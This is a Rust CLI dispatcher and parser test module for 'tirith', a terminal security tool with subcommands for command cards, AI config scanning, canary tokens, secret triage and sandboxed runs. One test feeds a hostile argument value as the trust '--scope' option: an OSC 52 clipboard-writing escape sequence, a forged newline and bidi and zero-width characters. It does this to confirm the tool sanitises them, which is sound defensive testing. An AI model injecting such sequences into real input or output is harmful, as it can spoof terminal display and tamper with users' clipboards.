                        cli::command_card::sign(&key, &card, command.as_deref(), shell, json)
                    }
                    Err(error) => {
                        if json {
                            let _ = cli::write_json_stdout(
                                &serde_json::json!({ "error": error }),
                                "tirith command-card sign: failed to write JSON output",
                            );
                        } else {
                            eprintln!(
                                "tirith command-card sign: {}",
                                cli::sanitize_for_human_output(&error, false)
                            );
                        }
                        2
                    }
                }
            }
            CommandCardAction::Verify { card, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::command_card::verify(&card, json)
            }
            #[cfg(unix)]
            CommandCardAction::Fetch { url, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::command_card::fetch(&url, json)
            }
        },

        // Variant is `RepoCmd` (clippy `enum_variant_names` rejects a variant
        // ending in `Commands`); the CLI word is `commands` via `#[command(name)]`.
        Commands::RepoCmd { action } => match action {
            RepoCommandsAction::Init {
                force,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::commands::init(force, json)
            }
            RepoCommandsAction::List { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::commands::list(json)
            }
            RepoCommandsAction::Run {
                name,
                yes,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::commands::run(&name, yes, json)
            }
            RepoCommandsAction::Check {
                shell,
                format,
                json,
                cmd,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::commands::check(&cmd, &shell, json)
            }
        },

        Commands::Ai { action } => match action {
            AiAction::Scan { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ai::scan(json)
            }
            AiAction::Diff { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ai::diff(json)
            }
            AiAction::Quarantine {
                file,
                r#move,
                yes,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ai::quarantine(&file, r#move, yes, json)
            }
            AiAction::ExplainConfig { file, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ai::explain_config(&file, json)
            }
            AiAction::Snapshot {
                update,
                force,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ai::snapshot(update, force, json)
            }
        },
        Commands::Canary { action } => match action {
            CanaryAction::Create {
                kind,
                callback_url,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::canary::create(&kind, callback_url, json)
            }
            CanaryAction::Status { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::canary::status(json)
            }
            CanaryAction::List { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::canary::list(json)
            }
            CanaryAction::Prune {
                id,
                yes,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::canary::prune(&id, yes, json)
            }
            CanaryAction::Rotate { id, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::canary::rotate(&id, json)
            }
        },

        // Guidance only: 0 network calls, no new RuleIds; tirith does NOT rotate.
        Commands::Secret { action } => match action {
            SecretAction::Triage {
                verbose,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::secret::triage(json, verbose)
            }
            SecretAction::Rotate {
                provider,
                verbose,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::secret::rotate(&provider, json, verbose)
            }
            SecretAction::Revoke {
                provider,
                verbose,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::secret::revoke(&provider, json, verbose)
            }
        },

        Commands::Incident { action } => match action {
            IncidentAction::Start {
                reason,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::incident::start(reason, json)
            }
            IncidentAction::Stop { yes, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::incident::stop(yes, json)
            }
            IncidentAction::Status { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::incident::status(json)
            }
            IncidentAction::Report { out, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::incident::report(out, json)
            }
        },

        Commands::VisualAudit {
            non_interactive,
            pairs,
            json,
        } => cli::visual_audit::run(non_interactive, pairs, json),

        Commands::Browser { action } => match action {
            BrowserAction::Host => cli::browser_host::run(),
            BrowserAction::InstallExtension {
                extension_id,
                browser,
                apply,
                json,
            } => match browser.parse::<cli::browser::Browser>() {
                Ok(browser) => cli::browser::install_extension(extension_id, browser, apply, json),
                // Invalid `--browser` is a usage error → exit 2 (like share/redact).
                Err(e) => {
                    eprintln!("tirith browser install-extension: {e}");
                    2
                }
            },
            BrowserAction::Audit {
                browser,
                profile,
                baseline,
                write_baseline,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::browser_audit::run(cli::browser_audit::AuditArgs {
                    browser,
                    profile,
                    baseline,
                    write_baseline,
                    json,
                })
            }
        },

        // `temp-run` and its hidden `sandbox-dir` alias share one impl.
        Commands::TempRun {
            copy_repo,
            strip_env,
            capsule,
            json,
            command,
        }
        | Commands::SandboxDir {
            copy_repo,
            strip_env,
            capsule,
            json,
            command,
        } => cli::temp_run::run(&command, copy_repo, strip_env, capsule, json),
    };

    std::process::exit(exit_code);
}

#[cfg(test)]
mod help_category_tests {
    use super::{
        Cli, Commands, PkgAction, TrustAction, TrustMutationScope, TrustQueryScope,
        COMMANDS_BY_CATEGORY,
    };
    use clap::{CommandFactory, Parser};

    fn with_large_cli_stack(test: impl FnOnce() + Send + 'static) {
        // Building or parsing the full debug clap tree exceeds the default
        // test-thread stack. Keep every parser regression on one explicit,
        // bounded stack instead of relying on a process-wide RUST_MIN_STACK.
        std::thread::Builder::new()
            .stack_size(16 * 1024 * 1024)
            .spawn(test)
            .expect("spawn CLI parser test on enlarged stack")
            .join()
            .expect("CLI parser test panicked");
    }

    /// Every non-hidden top-level command must appear in the categorized help
    /// block, so `tirith --help`'s overview never silently drifts from the real
    /// command set when a new subcommand is added.
    #[test]
    fn every_command_is_categorized() {
        with_large_cli_stack(|| {
            let cmd = Cli::command();
            for sub in cmd.get_subcommands() {
                if sub.is_hide_set() {
                    continue;
                }
                let name = sub.get_name();
                if name == "help" {
                    continue; // clap's auto-generated built-in
                }
                // Token-level match (not substring): a command name must appear
                // as a whole whitespace-delimited token, so e.g. `run` can't
                // false-pass by being a substring of `temp-run`.
                assert!(
                    COMMANDS_BY_CATEGORY
                        .split_whitespace()
                        .any(|tok| tok == name),
                    "command `{name}` is missing from COMMANDS_BY_CATEGORY — add it to a category"
                );
            }
        });
    }

    #[test]
    fn pkg_positionals_do_not_capture_known_options_after_values() {
        with_large_cli_stack(|| {
            let cli = Cli::try_parse_from([
                "tirith",
                "pkg",
                "install",
                "pip",
                "requests==2.31.0",
                "--target",
                "/tmp/tirith-pkg-target",
                "--yes",
                "--allow-degraded",
                "--json",
            ])
            .expect("known package options remain parseable after requirement specs");
            assert!(matches!(
                cli.command,
                Commands::Pkg {
                    action: PkgAction::Install {
                        requirements,
                        target: Some(target),
                        yes: true,
                        allow_degraded: true,
                        json: true,
                        ..
                    }
                } if requirements.len() == 1 && requirements[0] == "requests==2.31.0"
                    && target == std::path::Path::new("/tmp/tirith-pkg-target")
            ));

            let verify = Cli::try_parse_from([
                "tirith",
                "pkg",
                "verify-env",
                "--target",
                "/tmp/tirith-pkg-target",
                "requests",
                "--json",
            ])
            .expect("verify-env JSON remains parseable after package names");
            assert!(matches!(
                verify.command,
                Commands::Pkg {
                    action: PkgAction::VerifyEnv {
                        packages,
                        json: true,
                        ..
                    }
                } if packages.len() == 1 && packages[0] == "requests"
            ));
        });
    }

    #[test]
    fn trust_mutation_scope_is_typed_and_routes_unknown_values_to_safe_failure() {
        with_large_cli_stack(|| {
            let cli =
                Cli::try_parse_from(["tirith", "trust", "add", "example.com", "--scope", "repo"])
                    .unwrap();
            assert!(matches!(
                cli.command,
                Commands::Trust {
                    action: TrustAction::Add {
                        scope: TrustMutationScope::Repo,
                        ..
                    }
                }
            ));

            let cli =
                Cli::try_parse_from(["tirith", "trust", "remove", "example.com", "--scope", "all"])
                    .unwrap();
            assert!(matches!(
                cli.command,
                Commands::Trust {
                    action: TrustAction::Remove {
                        scope: TrustMutationScope::Invalid(ref value),
                        ..
                    }
                } if value == "all"
            ));

            let cli = Cli::try_parse_from([
                "tirith",
                "trust",
                "add",
                "example.com",
                "--scope",
                "repo\u{1b}]52;c;Y2xpcA\u{7}\nFORGED\u{202e}\u{200b}",
            ])
            .unwrap();
            let Commands::Trust {
                action:
                    TrustAction::Add {
                        scope: TrustMutationScope::Invalid(value),
                        ..
                    },
            } = cli.command
            else {
                panic!("hostile scope must route to the typed invalid variant");
            };
            for forbidden in ['\u{1b}', '\u{7}', '\u{202e}', '\u{200b}', '\n', '\r'] {
                assert!(!value.contains(forbidden));
            }
        });
    }

    #[test]
    fn trust_query_scope_routes_unknown_values_to_safe_failure() {
        with_large_cli_stack(|| {
            let cli = Cli::try_parse_from(["tirith", "trust", "list", "--scope", "all"]).unwrap();
            assert!(matches!(
                cli.command,
                Commands::Trust {
                    action: TrustAction::List {
                        scope: TrustQueryScope::All,
                        ..
                    }
                }
            ));
            let cli = Cli::try_parse_from(["tirith", "trust", "gc", "--scope", "staging"]).unwrap();
            assert!(matches!(
                cli.command,
                Commands::Trust {
                    action: TrustAction::Gc {
                        scope: TrustQueryScope::Invalid(ref value),
                        ..
                    }
                } if value == "staging"
            ));
        });
    }
}